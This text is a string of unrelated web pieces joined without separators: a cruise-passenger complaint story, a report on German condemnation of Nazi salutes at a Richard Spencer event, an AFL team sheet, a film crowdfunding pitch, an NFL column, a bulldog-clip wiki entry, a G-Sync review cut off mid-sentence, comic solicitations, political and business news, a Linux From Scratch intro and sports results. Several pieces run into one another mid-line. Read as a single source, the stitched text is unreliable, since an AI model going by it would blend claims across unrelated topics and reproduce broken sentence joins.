'He walked and paid another $70 for a hotel room, then pulled up in customs for 2 hours being questioned like he was a terror threat!!!!'
The couple have never been apart for so long, according to their daughter who said in 35 years they have only spent a few days without the other by their side.
'My mother hasn't left her room since Sunday!' she said.
The daughter told the company in her post that her mother handles her father's medication.
She also said she thought the company was 'a joke' and added that she was furious.
According to WA Today Mr O'Keefe only knew he was in big trouble when he had a letter demanding him to attend a meeting – it was left in his cabin.
'My dad is 58 in a few weeks - he's ex-army, SAS, with cancer and cholesterol problems - and my mum handles all his medication,' she said.
P&O Australia spokesman David Jones told Daily Mail Australia 'fire safety on board the boat is of highest priority'.
'The mandatory passenger safety muster on embarkation includes an explicit warning about the dangers associated with disposing of cigarettes over the side,' he said.
'This is because of the risk of the cigarette being drawn back into the ship and starting a fire.'BERLIN, Germany — The German government expressed revulsion Wednesday at Nazi-style salutes such as those performed at a recent far-right event in Washington, but said it was confident the United States can tackle the issue.
Video published by The Atlantic showed participants at the event Saturday raising their arms in salute during a speech by Richard Spencer, head of the white-nationalist think tank National Policy Institute.
“Speaking generally, whenever we see videos from anywhere showing people raising their hand to do Hitler salutes we are repulsed,” German government spokesman Steffen Seibert said Wednesday after being asked about the clip.
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“It goes against the principles and values of our politics,” he added.
Nazi Germany was responsible for genocide and war that resulted in the deaths of tens of millions of people in the 1930s and 1940s, including some six million Jews. After the war, Germany made it a criminal offense to display Nazi imagery — including the salute, which was usually accompanied by the cry “Sieg Heil!” which translates as “hail victory.”
Seibert said the fact that the incident is being widely discussed in the United States was a good sign. “We have great faith in American civil society, media and politics to address such bad developments, such terrible events,” he said.
White-nationalist groups have existed in the United States for decades but drew increased attention last summer when activists showed up at the Republican National Convention to celebrate Donald Trump’s nomination as the party’s presidential candidate.
Spencer, who is credited with coining the term “alt-right,” was filmed Saturday saying “Hail Trump, hail our people, hail victory!” to cheers from the audience, drawing some Nazi salutes.
Speakers at the conference described Trump’s election victory as “the victory of will,” using the name of a famous Nazi propaganda film that championed Hitler and the Nazis’ rise to power in 1930s Germany, The New York Times reported.
Spencer said that white identity was the driving factor behind the movement and that since the meteoric rise of Trump, white people have been “awakening to their own identity.
“To be white is to be a striver, a crusader, and explorer and a conqueror. We build. We produce. We go upward,” he claimed. “Within the very blood in our veins as children of the sun lies the potential for greatness.”
Since Trump’s election, much ink has been spilled over his campaign’s part in the rise of the alt-right, a vague grouping of far-right nationalists who have taken a hard line against immigration and what they see as the cultural degradation of America. Spencer has made clear that in his eyes the alt-right is by no means a mere nationalist movement but one based on a doctrine of white supremacy and hatred toward Jews and non-whites.
Last week, Spencer’s Twitter account was suspended for violating prohibitions on “violent threats, harassment, hateful conduct,” leading him to lash out at what he called “corporate Stalinism” and saying that “there is a great purge going on,” according to AFP.
Much of the recent focus on the alt-right stems from Trump’s appointment of his campaign CEO and Breitbart News executive chairman Stephen Bannon as a senior presidential adviser, who earlier this year said that Breitbart News is “the platform for the alt-right.”
Trump insisted Tuesday that Bannon is not racist or extremist, as asserted by many critics, and that he — Trump — rejects the alt-right.
“It’s not a group I want to energize, and if they are energized, I want to look into it and find out why,” Trump told the New York Times.
Of the gathering Saturday in Washington, Trump said, “I condemn them. I disavow, and I condemn.”The Coaches have announced the squad for this Sunday’s game against the Cats.
There will be at least three changes to last week's team, with Orazio Fantasia rested and Sam Michael omitted so far.
James Kelly and Mitch Brown will return for the clash against their old team, while Jackson Merrett has also earned a recall to the senior side.
Sam Grimley and Mason Redman have been named on the extended bench.
If selected, James Polkinghorne will celebrate a milestone running out in his 100th career game.
Get all the Game Day information you need by visiting our Game Day Hub.
Coach John Worsfold signalled that there would be a number of changes this week as he tries to manage player fatigue towards the end of the season.
Worsfold will also be celebrating a milestone of his own, coaching his 300th game of AFL football.
Check back tomorrow at 5pm to see the final team.
Essendon vs. Geelong (A):
Round 20
3:20PM (ACST), Sunday August 7
Etihad Stadium
Click here to see the Cats' squad.
IN: J.Kelly, M.Brown, S.Grimley, J.Merrett, M.Redman
OUT: S.Michael (Omitted), O.Fantasia (Rested)
B: M Dea, M Hartley, A McDonald-Tipungwuti
HB: M.Gleeson, A Francis, C.Dempsey
C: Z Merrett, D.Zaharakis, J.Merrett
HF: J.Kelly, P.Ambrose, M.Brown
F: J Laverde, J.Daniher, A.Cooney
Foll: M.Leuenberger, C.Bird, B Goddard
IC FROM: D.Parish, M.Redman, K.Langford, W.Hams, C.McKenna, J.Polkinghorne and S.Grimley"I Filmed Your Death" is a horror movie about a tragedy in a small town. Pierce Lyndale, the main character of the film, decides to make a film about the event to show it on the public access channel a year later. He tries to bring all of his childhood friends together to see the movie, but what he doesn't know is that the friends and family of the killer don't want it to be shown.
Above: The movie theater that will play a central role in "IFYD" has hosted our film screenings for three years in a row. Its the funky kind of neighborhood theater that doesn't exist much anymore.
Its a movie that works on several different levels. Firstly, it looks at exploitation in the media and violence in our society in general. It also contains several characters that you will really care about. Much like "Dazed & Confused" or "Clerks", we get to know these characters by hanging out with them throughout the movie. Finally it is just a classic horror movie. It doesn't rely on jumps or loud noises, the terror in this movie is built up steadily for the first half and then delivered upon in the second. Its a horror movie that looks at today's society and what we decide to ignore.
Above: A screenshot from our successful play "King Arthur...with Werewolves", from 2007. It was the most successful amateur play at the oldest theater in CT. A large part of the cast and crew who helped us pull this off will be returning to elevate "IFYD"
I'm a fan of this script myself and I think it talks for itself the best. If you'd like to read it before you sign on to give money, email me at: sbahre@azbestfilms.com and I'll send you a pdf of it.
A big reason this movie will be seen by people is the amount of underground celebrities we have involved. President of Troma and creator of the Toxic Avenger, Lloyd Kaufman, will be one of the main characters. He is a hero of the independent film world and has a following all around the globe. Michael Horse, from TV's Twin Peaks, will be in the movie also as a major character. There are other celebrities who are involved but the last one I can tell you about right now is Merle Allin. He is a punk rock icon and the brother of GG Allin. I'm a fan of all of these people and I know there are so many others out there who will rally behind this and support it because of their involvement.
Above: An introduction we made with Lloyd Kaufman in 2010 for our successful short film festival that year.
Why do we need all of this money? $10,000 is a lot of money and it is only half of what we need to get this movie made.We have put together a great cast and crew, we have found incredible locations throughout Connecticut and we have half of the equipment we need. We have a great blueprint with the script but we need this money to make sure this can happen the way it needs to.
Above: The 200 year old farmhouse that we've gotten for our main location.
A big part of that is finding the right cinematographer. I have worked very hard on planning out the exact visual feel I want for this movie and I need to find someone who can accomplish that. I need a fair amount of money to pay this person because we will need them for our rehearsals and everyday at the shoots. For a professional, full time job like this I need to make sure they are getting what they need to do their job the best way they can. In a time when shooting HD quality video is so easy that people can do it on their phones, I need someone who understands the true nuances of it.
The rehearsals start the first week of September and the shoot itself will last from mid-September until mid-October. We need to raise this money to make sure we can afford to have the cast and crew in town for that time. We need to feed them and we need to house them. We've got to provide all of these things for an army of people basically. With all of the movies we've made in the past, the only thing that holds them back is a lack of time. People need to take a month off from their lives in order to make this film and the only way to make that happen is to make sure they are taken care of when they are here.
We have been working on this movie for over two years now and we are taking it very seriously. This is not some hobby or pet project, this is our lives. We don't just need your money, we need your support. You aren't just our financial backers, you're our patrons. There is art happening in this small town now, please help cultivate it.
Above: The rough cut of the first half of our most recent short film. We made it for $25, imagine what we can do with 20k. We will chart the post production on here as we go along. Nathan, the star of it, will be one of the stars in "IFYD" as well. One of the many young new talents we have involved.Getty Images
One week after the Seahawks admitted that they hid cornerback Richard Sherman’s knee injury, the Steelers admitted that they hid running back Le’Veon Bell’s groin injury. With the NFL inexplicably choosing to give the Seahawks a pass as to Sherman nearly a week ago, the question becomes what the NFL will do to the Steelers.
On the surface, there’s a big difference. Seahawks coach Pete Carroll essentially admitted that Sherman had a “significant” injury; Steelers coach Mike Tomlin wisely avoided the S-word, which by rule requires disclosure of the injury, even if the player consistently practices and plays.
But Bell told a much different story during the torrent of Super Bowl-week interviews.
“I really hurt it in the Miami game,” Bell said on NFL Network. “I played through the whole Kansas City game with it. The beginning of the Patriots game, I felt it.... I had a hole, but I couldn’t really hit it. I just felt like I was holding my team back at that point. I was in a lot of pain.”
In the days prior to the playoff game against the Dolphins, Bell didn’t appear on the injury report. After suffering the groin injury against Miami, Bell didn’t practice on the Wednesday before the Chiefs game, with the “not injury related” designation. Prior to the AFC title game at New England, Bell missed practice on both Wednesday and Thursday for “not injury related” reasons. (Curiously, Bell also was listed as fully practicing on Friday with the “not injury related” explanation.)
Through it all, Bell clearly was injured (based on his own words). As evidenced by his inability to accelerate early in the New England game due directly to the pre-existing groin injury, the injury affected his ability to perform. Common sense suggests it should have been revealed.
Some league insiders believe that the NFL looked the other way as to the Seahawks as a precursor for looking the other way as to the Steelers. If that happens, the stage will be set for all sorts of potential shenanigans in the future by other teams who break the rules in a similar way.
Unless and until, of course, a franchise that key members of the league office doesn’t “like” commits the same violation and promptly loses draft picks, money, and any and all players who were “generally aware” of the situation, more probable than not.This article is about a particular brand of clip. For the clips also referred to as a "binder clip", see Binder clip
A bulldog clip
Another picture of a bulldog clip
A bulldog clip is a device for temporarily but firmly binding sheets of paper together. It consists of a rectangular sheet of springy steel curved into a cylinder, with two flat steel strips inserted to form combined handles and jaws. The user presses the two handles together, causing the jaws to open against the force of the spring, then inserts a stack of papers and releases the handles. The spring forces the jaws together, gripping the papers firmly.
A Bulldog clip combined with a suitable piece of board makes a clipboard.
History and trademark [ edit ]
BULLDOG is a registered trademark of Brandsley Limited which is licensed to Faire Bros & Co Limited. Its registration as a trademark in the United Kingdom dates back to 1944.
Alternative uses [ edit ]
Bulldog clips have many uses, domestic, industrial and in arts and crafts.
Bulldog clips are a good tool for making flicker books as they allow sheets to be added, removed or replaced.[1]
A novel use for this product is to use it as a wire guide at a computer station for example. The clip can be clamped onto the edge of a desk and computer cables can be threaded through the holes on the end of the tip. This helps the user organize wires and prevents them from falling back behind the desk.
Another use is for resealing an opened bag of food to keep it fresh longer.
Bulldog clips can be used in weaving to warp a loom.[2]
Bulldog clips can be used to make a fast release mechanism for theatre "drops".[3]
An eraser held in a Bulldog clip can, by providing a larger surface to grip, be useful to some people with motor disabilities.[4]
A clip can be used to angle a knife for sharpening.[5][self-published source]
A clip can be used to hold down the CTRL button on a computer keyboard to circumvent the issue of holding the button down when selecting multiple items.
References [ edit ]
^ Chris Webster (2005). Animation: The Mechanics of Motion. 1. p. 10. ISBN 0240516664. ^ Jennifer Claydon (2009). Spin Dye Stitch: How to Create and Use Your Own Yarns. North Light Books. p. 88. ISBN 9781600611551. Section warping with Bulldog clips. Section warping with Bulldog clips. ^ Technical Design Solutions for Theatre: The Technical Brief Collection. 1. Ben Sammler, Don Harvey (editors). Taylor & Francis. 2013. p. 91. ISBN 9781136081651. ^ Dorothy E. Penso (2013). Keyboard, Graphic and Handwriting Skills: Helping people with motor disabilities. p. 81. ISBN 1489931627. ^ Phil West (2014). Survival Weapons: Optimizing Your Arsenal. Lulu.com. p. 222. ISBN 9781291460988.Understanding Variable Refresh Rate Technology
If you’ve ever witnessed variable refresh rate (VRR) technologies like G-Sync and FreeSync, then you likely know VRR one of the most significant gaming improvements in recent times. G-Sync has been slowly creeping into desktop displays since 2014, but now the technology has finally gone mobile. With our tricked out Origin EON17-X gaming notebook, we’ll be exploring Nvidia’s Mobile G-Sync and how it translates to gaming on the go.
G-Sync is Nvidia’s somewhat commonsense answer to two age-old dilemmas: screen tearing and frame stutter. It’s a type of variable refresh rate technology that attempts to synchronize display refresh rates to GPU frame rates. To understand the significance of G-Sync (or VRR in general) though, one should also be familiar with screen tearing, frame stuttering and Vsync.
Screen tearing is the product of frames being rendered and displayed at differing rates. While in-game frame rates may vary a great deal during gaming sessions, a typical computer display has a scan interval of 60Hz -- in other words, the screen is updated 60 times per second. The end result is some rendered frames are scanned mid-cycle so you actually see two adjacent frames displayed simultaneously with a “tear” separating them.
G-Sync wants to give gamers the best of both worlds: no tearing, no stuttering and the smoothest most even gameplay possible. Overall, G-Sync delivers.
To solve this phenomenon, Vsync has long been the (imperfect) answer. Vsync throttles frame rendering to a fixed number per second, like 30 or 60. The good news is this eliminates screen tearing because both the display and rendering frame rates are synchronized. For many games though, frame rate limiting can be perceived as a performance hit. Systems unable to maintain 60 FPS will be locked to 30, making Twitch gamers unhappy. Worse still, locking frame rates this low can create stuttering and exaggerate feelings of overall unresponsiveness. As a kind of Sophie’s choice, many gamers choose to disable Vsync and live with screen tearing.
G-Sync wants to give gamers the best of both worlds: no tearing, no stuttering and the smoothest most even gameplay possible. Overall, G-Sync delivers. It does this by dynamically adjusting the display’s refresh rate to match the GPU’s frame rendering. G-Sync is a hardware solution that requires a compatible display and GPU (GeForce GTX 650 or newer). However, G-Sync also comes at a hefty cost -- as of writing, the cheapest G-Sync capable display at Newegg was a 24 inch AOC for $370.
Mobile G-Sync works pretty much the same, but gone is the need for a factory-installed display module. Driven by industry-standard LVDS and eDP connections, notebook display panels share a unique relationship with their host GPU. Manufacturers are able to implement G-Sync with no additional hardware. For this reason, it was long speculated that G-Sync would make it to notebooks so the real question was when. Well, now it’s here.
Although Nvidia’s proprietary G-Sync solution was first to launch, AMD debuted its own VRR technology in March called FreeSync. AMD had long been pushing for DisplayPort to include an open VRR standard in its spec. Sure enough, VESA introduced Adaptive-Sync with DisplayPort 1.2a. AMD was now able to tap into Adaptive-Sync, avoiding the need for costly hardware modules to make FreeSync work. Unfortunately, few monitors currently command a 1.2a DisplayPort and I’ve yet to see a laptop advertising FreeSync for its built-in display.
Interestingly, G-Sync and FreeSync work similarly but do differ in some respects. Check out our FreeSync review for a detailed comparison. It should be said that both FreeSync and G-Sync have continued to evolve in recent months, like improving operation at lower and higher frame rates, windowed mode capabilities and multi-GPU support. With Mobile G-Sync, Nvidia seems to be positioning itself as the “quality” VRR solution by setting guidelines, like ensuring laptop manufacturers install good quality panels.
Testing out the Origin EON-17X
For purposes of trying out Mobile G-Sync, Origin kindly let us kick the tires on its EON17-X. Indeed, the results were impressive. Like the EON15-X we reviewed a couple months ago, the EON17-X is a serious gaming machine packing a full scale desktop CPU. It's essentially the same laptop, but with a 17-inch TN panel capable of G-Sync and 75Hz. Missing is the 4K panel, but that’s okay -- even with its mighty GTX 980M, gaming at 4K proved to be quite a challenge. 1080p is perfect for testing G-Sync.
When it comes to laptops, there are just a handful of G-Sync options. For the record, none of these laptops are thin and light. Rather, giant slabs of gaming muscle from Asus, Clevo, MSI, and of course, Origin, are being outfitted with G-Sync technology. Nvidia bluntly states that G-Sync is not compatible with Optimus, its power-saving graphics switching technology. Since the hardware component is missing for Mobile G-Sync, it relies on direct GPU-to-panel communication via eDP. Hybrid GPU designs seem to be at odds with this aspect of G-Sync. For this, it’s likely G-Sync will remain relegated to beefy gaming notebooks where battery life isn’t a concern.
For gamers only: Nvidia bluntly states that G-Sync is not compatible with Optimus, its power-saving graphics switching technology
To test the effectiveness of Mobile G-Sync, our Origin EON17-X was put in “Duplicate Display” mode and connected a 27-inch IPS screen. With the laptop display open and a monitor off to the side, a number of gaming sessions were performed with different games at different settings. I also did some gaming with Vsync enabled and just the laptop display by itself. In many cases, the differences were dramatic. G-Sync was plainly favored. This held particularly true for games that ran “moderately well” around 40-60 FPS. Even my wife, decidedly a non-gamer, preferred how G-Sync looked over the alternatives.
Not surprisingly, Nvidia’s own pendulum demo offers a very clear picture of what G-Sync accomplishes. Watch the following video to see the difference between our G-Sync enabled E |
adventures of Supergirl continue—and there’s a new hero in her hometown of Leesburg: Comet! But why does this dashing new hero need so much help from the Girl of Steel? Plus, the Female Furies drag Supergirl to Apokolips, and Matrix returns—and it wants Supergirl’s identity! This volume includes guest appearances by Steel, Resurrection Man. Collects SUPERGIRL #21-31, SUPERGIRL #1,000,000 and RESURRECTION MAN #16-17!
On sale OCTOBER 4 • 336 pg, FC, $29.99 US
ABSOLUTE WILDC.A.T.S HC
Written by BRANDON CHOI, JIM LEE, SCOTT LOBDELL, ERIC SILVESTRI,
CHRIS CLAREMONT and others
Art by JIM LEE, SCOTT WILIAMS, MARC SILVESTRI and others
Cover by JIM LEE and SCOTT WILLIAMS
Twenty-five years ago, Jim Lee premiered the legendary team known as WildC.A.T.s and help launch Image Comics. Now, Jim’s entire WildC.A.T.s run is collected for the first time in one oversized Absolute volume, including WILDC.A.T.S #1-13 and #50, CYBERFORCE #1-3, WILDCATS #1 and WILDC.A.T.S/X-MEN: THE SILVER AGE #1. This edition also features remastered color for WILDC.A.T.S #1-4, the unpublished script for WILDCATS #2 and a new cover by Jim Lee!
On sale DECEMBER 13 • 624 pg, FC, 8.25” x 12.5” • $125.00 US
THE WILD STORM VOL. 1 TP
Written by WARREN ELLIS
Art by JON DAVIS-HUNT
Cover by JIM LEE and SCOTT WILLIAMS
New York Times best-selling writer Warren Ellis (TRANSMETROPOLITAN, RED, THE AUTHORITY) returns to reset the WildStorm universe with new iterations of Grifter, Voodoo, the Engineer, Jenny Sparks and more in this volume collecting issues #1-6 of the hit series.
Everyone is looking up.
A man has been thrown from the upper floor of a skyscraper.
Angela Spica, sick from the transhuman implants she’s buried in her own body—is the only person who can save him.
What she doesn’t know is that the act of saving that one man will tip over a vast and secret house of cards that encloses the entire world, if not the inner solar system.
This is how the Wild Storm begins, and it may destroy covert power structures, secret space programs and even all of human history.
On sale OCTOBER 18 • 176 pg, $16.99 US
ABSOLUTE WONDER WOMAN BY BRIAN AZZARELLO AND CLIFF CHIANG VOL. 2 HC
Written by BRIAN AZZARELLO
Art by CLIFF CHIANG, GORAN SUDZUKA, TONY AKINS, ACO and others
Cover by CLIFF CHIANG
Brian Azzarello and Cliff Chiang’s acclaimed run on WONDER WOMAN concludes in this Absolute edition collecting WONDER WOMAN #19-35 and #23.2! First, the world is shocked when Zeus’ deadly First Born is freed from his slumber. Now, with her family in ruins and her friends scattered, Diana must turn to Orion and the New Gods of New Genesis to save herself and Zola’s baby from her half-brother’s wrath! Then, Wonder Woman’s life is changed when she is called on to take the place of War. But there’s no time to consider the fallout of this new role as her family prepares for an assault on Olympus!
On sale FEBRUARY 7 • 456 pg, FC, 8.25” x 12.5” $125.00 US
WONDER WOMAN AND THE JUSTICE LEAGUE OF AMERICA BOOK TWO TP
Written by DAN VADO
Art by KEVIN WEST, KEN BRANCH, MARC CAMPOS and others
Cover by TBD
In these 1990s tales, Wonder Woman takes over as leader of the Justice League of America, whether members like Green Lantern Guy Gardner, Booster Gold or Blue Beetle like it or not. After a final battle with her brother, Ice decides that her destiny lies with the Justice League! Plus, a cult that worships an alien intelligence must stop the team from
discovering their dark aims—at any cost! And then, it’s judgment day as the Overmaster returns…and the U.N. sanctioned Leaguebusters are taking Overmaster’s side in this battle! Collects JUSTICE LEAGUE INTERNATIONAL #65-66, JUSTICE LEAGUE AMERICA #86-91 and JUSTICE LEAGUE TASK FORCE #13-14.
On sale OCTOBER 4 • 276 pg, FC, $24.99 US
THE AMERICAN WAY: THOSE ABOVE AND THOSE BELOW #3
Written by JOHN RIDLEY
Art and cover by GEORGES JEANTY
Things are heating up for the surviving heroes of the Civil Defense Corps. Jason’s actions against Black Power groups have gotten him noticed by the dark side of the government agencies that once controlled the superhero program. Meanwhile, Amber Waves’ acts of domestic terrorism are bringing the police close to her door! Continuing the new miniseries by acclaimed author John Ridley, the Oscar-winning screenwriter of 12 Years a Slave and creator of American Crime, and artist Georges Jeanty (Buffy the Vampire Slayer).
On sale SEPTEMBER 6 • 32 pg, FC, 3 of 6, $3.99 US • MATURE READERS
SAVAGE THINGS #7
Written by JUSTIN JORDAN
Art by IBRAHIM MOUSTAFA
Cover by JOHN PAUL LEON
It’s Cain versus Abel in a showdown for the salvation of New York City. The cat-and-mouse chase comes to its crescendo as the two killers come face to face. But who will have the edge? The Black Forest program trained them both to be ruthless assassins, but after all these years out of the game, Abel may have gone soft. Then again, Cain may have given his rival more reason to fight than he even knows.
On sale SEPTEMBER 6 • 32 pg, FC, 7 of 8, $3.99 US • MATURE READERS
LUCIFER VOL. 3: BLOOD IN THE STREETS TP
Written by RICHARD KADREY and HOLLY BLACK
Art by LEE GARBETT, MARCO RUDY and BEN TEMPLESMITH
Cover by LEE GARBETT
After his harrowing confrontation with God himself, it’s time for Lucifer to kick back and relax. Featuring a Krampus-approved holiday tale, this volume of LUCIFER takes the bringer of light through the streets of Los Angeles, the depths of the underworld and the deepest recesses of his own mind while he tries to live his life as a part of an ancient evil tradition and as a member of the living world. Collects issues #13-19.
On sale OCTOBER 25 • 168 pg, FC, $16.99 US • MATURE READERS
SEBASTIAN O/THE MYSTERY PLAY DELUXE EDITION HC
Written by GRANT MORRISON
Art and cover by STEVE YEOWELL and JON J MUTH
Two of Grant Morrison’s most intriguing works are collected in a single hardcover volume! First, in the three- issue miniseries SEBASTIAN 0, Edwardian dandy Sebastian O is out for revenge on the members of a shadowy, sordid gentlemen’s club that had him committed to a mental institution. Hunted by assassins, Sebastian believes he will triumph by means of his exquisite fashion sense! Then, in the graphic novel THE MYSTERY PLAY, an actor portraying Satan is accused of murdering the actor playing God in a Renaissance festival, bringing a rural English village to the edge of self-destruction.
On sale OCTOBER 18 • 168 pg, FC, 7.0625” x 10.875” • $29.99 US MATURE READERS
DC BOMBSHELLS: STARFIRE STATUE
Designed by ANT LUCIA
Sculpted by JACK MATHEWS
Starfire sizzles in this new DC BOMBSHELLS statue as a firefighter in shades of purple and orange.
Limited Edition of 5,000
Measures Approximately 11.03” Tall
$125.00 US • On Sale FEBRUARY 2018
Allocations May Occur
DC DESIGNER SERIES: SUPERMAN BY NEAL ADAMS STATUE
Designed by NEAL ADAMS
Sculpted by JONATHAN MATTHEWS
Originally rendered by legendary artist Neal Adams for the cover of SUPERMAN #233, the image of Superman bursting out of Kryptonite chains is one of the most recognizable portraits of the Man of Steel—and it’s a brand-new statue in the DC DESIGNER SERIES.
Limited Edition of 5,000
Measures Approximately 13.33” Tall
$150.00 US • On Sale FEBRUARY 2018
Allocations May Occur
BATMAN BLACK & WHITE: BATMAN BY JOHN ROMITA JR. STATUE
Designed by JOHN ROMITA JR.
Sculpted by PAUL HARDING
Fresh from his run on the hit series ALL STAR BATMAN, superstar artist John Romita Jr.’s interpretation of the Dark Knight is brought to life in the latest BATMAN: BLACK & WHITE statue!
Limited Edition of 5,000
Measures Approximately 7.69” Tall
$80.00 US • On Sale FEBRUARY 2018
Allocations May OccurSen. Lindsey Graham (R-SC) will be taking a trip to Egypt with fellow Senator John McCain despite the global travel alert issued by the United States, he told Candy Crowley in an interview Sunday on CNNs State of the Union.
“I’m going to Egypt with Senator McCain very soon here. I know it’s dangerous, but we need to be there with our diplomats giving the unified message to Egypt, ” Graham said in the interview.
“Do not let these people drive us out of the Mideast. Do not make us abandon our friends like now Yemen, Israel, the king of Jordan. We can’t let them get away with this. We have to stand up to them. And finally, after Benghazi, they’re on steroids. They attacked our consulate. They killed an ambassador.
“A year has passed, and nobody’s paid a price. After Benghazi, these al Qaeda-types are really on steroids, thinking we’re weaker and they’re stronger.”
As for their safety in chaotic Egypt, Crowley asked the Senator about extra precautions. “Well, I hope they are. And if you’re going to pick between the two of us, Senator McCain is far more valuable than I am. But, we’ve got a call from the president, Secretary Kerry, the message that the Egyptian military and the Muslim Brotherhood is to get out of the streets, back into the voting booth,” Graham said.
Concerning the issuance of a global terror threat and the closing of nearly two dozen embassies, Graham said of President Obama, “I appreciate what the administration is doing. They’re taking the right approach to this.”
In addition to Graham’s escapades into the Middle East, he is up for reelection next year in South Carolina. Saturday, the first woman to graduate from The Citadel, Nancy Mace announced she’ll be running for the senate seat that Graham holds.
Mace stated, We cannot change Washington unless we change who we send to Washington.”
When Graham was asked about the challenge Sunday he said, “I’m going to keep being a social and fiscal conservative that focuses on our national security, takes care of our interests at home, like the Port of Charleston, working with my state officials and be a conservative like Ronald Reagan who will sit down with a Tip O’Neil to solve America’s problems.”
“I will continue to be Lindsey Graham, a solid fiscal and social conservative who wants to solve problems,” the senator said. “That’s the future of the Republican Party.”Activision Blizzard revealed their first quarter financial results, and they are better than expected for the company.
Net Revenues for Activision Blizzard ([stock_quote symbol=”NASDAQ:ATVI”]) were a record of $1.73 billion, a 19 per cent increase from 2016 where the company recorded $1.455 billion. Their net revenues from digital channels grew 50 percent year-over-year recording $1.39 billion. Their Generally Accepted Accounting Principles (GAAP) margin was 29 percent, and GAAP earnings per diluted share were at an all-time quarterly high of $0.56. That’s an increase of 17 percent over 2016 where they were $0.48. Operating cash flows for Q1 was $411 million, which is up 22 percent year-over-year.
“This quarter we delivered record revenues, earnings per share and cash flow, and over-performed guidance,” says Activision Blizzard Chief Executive Officer Bobby Kotick in the financial briefing. “Among the drivers of our results was Overwatch, which now has over 30 million players globally. The Overwatch League is gaining momentum and we’re excited to offer our community of players the best professional league experience. Destiny 2 and Call of Duty: WWII are also coming later this year, and both reveals have been very well received by fans.”
Activision Blizzard’s audience reach is very high with 431 million monthly active users in Q1. Blizzard carried that number with 41 million monthly active users, up 58 percent year over year, with Overwatch continuing to be the company’s fastest-growing new franchise with 30 million players reached in less than a year post-launch. Their revenue from in-game content grew by 25 percent year-over-year, mostly driven by Overwatch’s customization items and in-game- World of Warcraft content.
Activision, however, saw that number go down this quarter, which the company blames for a weaker than expected launch of Call of Duty: Infinite Warfare. With that being said, the company’s planned Call of Duty: WWII featured a reveal trailer that was the fastest to reach 10 million views while their strong pre-orders suggest a solid launch for Destiny 2.
King saw their Monthly Active Users go down year-over-year in Q1, but saw better per user engagement and investment, featuring two of the top ten highest-grossing games in the U.S. mobile app stores for the 14th quarter in a row.
Interestingly enough, the report does not really speak on Skylanders. With Imaginators launching at the tail end of 2016, it seems to be forgotten among the successes of World of Warcraft and more specifically Overwatch.What is Linux From Scratch?
Linux From Scratch (LFS) is a project that provides you with step-by-step instructions for building your own customized Linux system entirely from source.
Why would I want an LFS system?
Many wonder why they should go through the hassle of building a Linux system from scratch when they could just download an existing Linux distribution. However, there are several benefits of building LFS. Consider the following:
LFS teaches people how a Linux system works internally
Building LFS teaches you about all that makes Linux tick, how things work together and depend on each other. And most importantly, how to customize it to your own tastes and needs.
Building LFS produces a very compact Linux system
When you install a regular distribution, you often end up installing a lot of programs that you would probably never use. They're just sitting there taking up (precious) disk space. It's not hard to get an LFS system installed under 100 MB. Does that still sound like a lot? A few of us have been working on creating a very small embedded LFS system. We installed a system that was just enough to run the Apache web server; total disk space usage was approximately 8 MB. With further stripping, that can be brought down to 5 MB or less. Try that with a regular distribution.
LFS is extremely flexible
Building LFS could be compared to a finished house. LFS will give you the skeleton of a house, but it's up to you to install plumbing, electrical outlets, kitchen, bath, wallpaper, etc. You have the ability to turn it into whatever type of system you need it to be, customized completely for you.
LFS offers you added security
You will compile the entire system from source, thus allowing you to audit everything, if you wish to do so, and apply all the security patches you want or need to apply. You don't have to wait for someone else to provide a new binary package that (hopefully) fixes a security hole. Often, you never truly know whether a security hole is fixed or not unless you do it yourself.
What can I do with my LFS system?
A by-the-book LFS system is fairly minimal, but is designed to provide a strong base on which you can add any packages you want. See the BLFS project for a selection of commonly used packages.
Who's who:So these two eight year old girls in Hastings decide to go on a shoplifting spree. They ditched school and stole almost $250 worth of stuff. Only reason they were caught? They tried get something to eat at a local auto repair store, and the owner caught them. Ok back up....8 year olds? I have an 8 year old. As far as I know she hasn't been on any shoplifting spree's.
This happened a week ago, when the 2 started taking everything in sight. 4 stores and the library later, they headed to the repair shop. They lied to the owner about what they were doing, and then he called the cops. The Hastings police chief said he's never had 8 year olds accused of stealing like this. CPS was called in and the thinking is the girls need some counseling. Ya think?
Here's MLive's story...If My 8 year old daughter even thought of doing such a thing...
"Hastings police: 8-year-old girls skip school, go shoplifting"Sunday proved a big day for Blanco, with Lars Boom securing overall victory in Ster ZLM Toer GP Jan van Heeswijk, Paul Martens taking out the Skoda Tour of Luxembourg while Bauke Mollema secured second overall at the Tour de Suisse. Related Articles Blanco announces short list for the Tour de France
Mollema to lead Team Blanco at the Tour de France
Team Blanco set to become Team Belkin on Monday
Boom's task was to stay upright on the final stage of the Ster ZLM Toer, with his lead not under threat on Sunday, where Pim Lithgart (Vacansoleil-DCM) took the win.
"Everything went well today, just like it did the entire week," said Boom afterwards. "With an eye on the Dutch Championships, I wanted to confirm my form here and that is a tick in the box. This is good for my confidence."
Sunday's result was an improvement for Boom who finished second overall in 2012.
The team produced consistent results over the five days of the event with Robert Wagner winning the prologue and donning the yellow jersey for two days. Theo Bos got the better of sprint rivals André Greipel (Lotto Belisol), Mark Cavendish (Omega Pharma – Quick-Step) and Marcel Kittel (Argos – Shimano) to win the second stage before Boom took the honours in the Queen Stage with a powerful late attack.
Martens' victory in Luxembourg moved up from third overall with his performance on the final day, finishing second to RadioShack Leopard's Bob Jungels to be elevated up the general classification.
"It's unbelievable – indescribable!" Martens said. "I've been close before, but this is the first time I've actually won a stage race. I came here looking for the win although I did not tell anyone beforehand."
"I am very happy that it's played out in a win because in that way, I can pay the team back. They worked unbelievably hard for me the past few days. Without them, I could not have done it."
Like Martens, Mollema's final day ride in Switzerland improved his fortunes. He rode to third place for the 26km mountain time trial behind Rui Costa (Movistar) and Mathias Frank (BMC). The won confirmed Costa's overall victory.
Mollema was pleased with his performance on Sunday.
"It really went extremely well," he explained. "This was perhaps my best time trial ever. I had made a plan with the team management ahead of time and it turned out to be spot on. In the first section, I did not go full out, given that there would be a climb of half an hour later on. We also planned the timing of the bike change and the amount of water I would take in – and it all went like clockwork."
It all points encouragingly to the Tour de France which begins in Corsica on June 29.
"I am very satisfied, this is a great result. Outside of the three grand tours, the Tour of Switzerland is perhaps the most important stage race of the year and to be second therein is very nice," Mollema said.
"My form is good – not a lot has to happen. This was a good test. I am going to ride in the Dutch Championships, train a few more times and then we head to Corsica for the Grand Départ."There are tiny twitches of genius on the rapper’s first album in four years, but to get there you have to wade through acres of bad gags, filler and formulaic fury
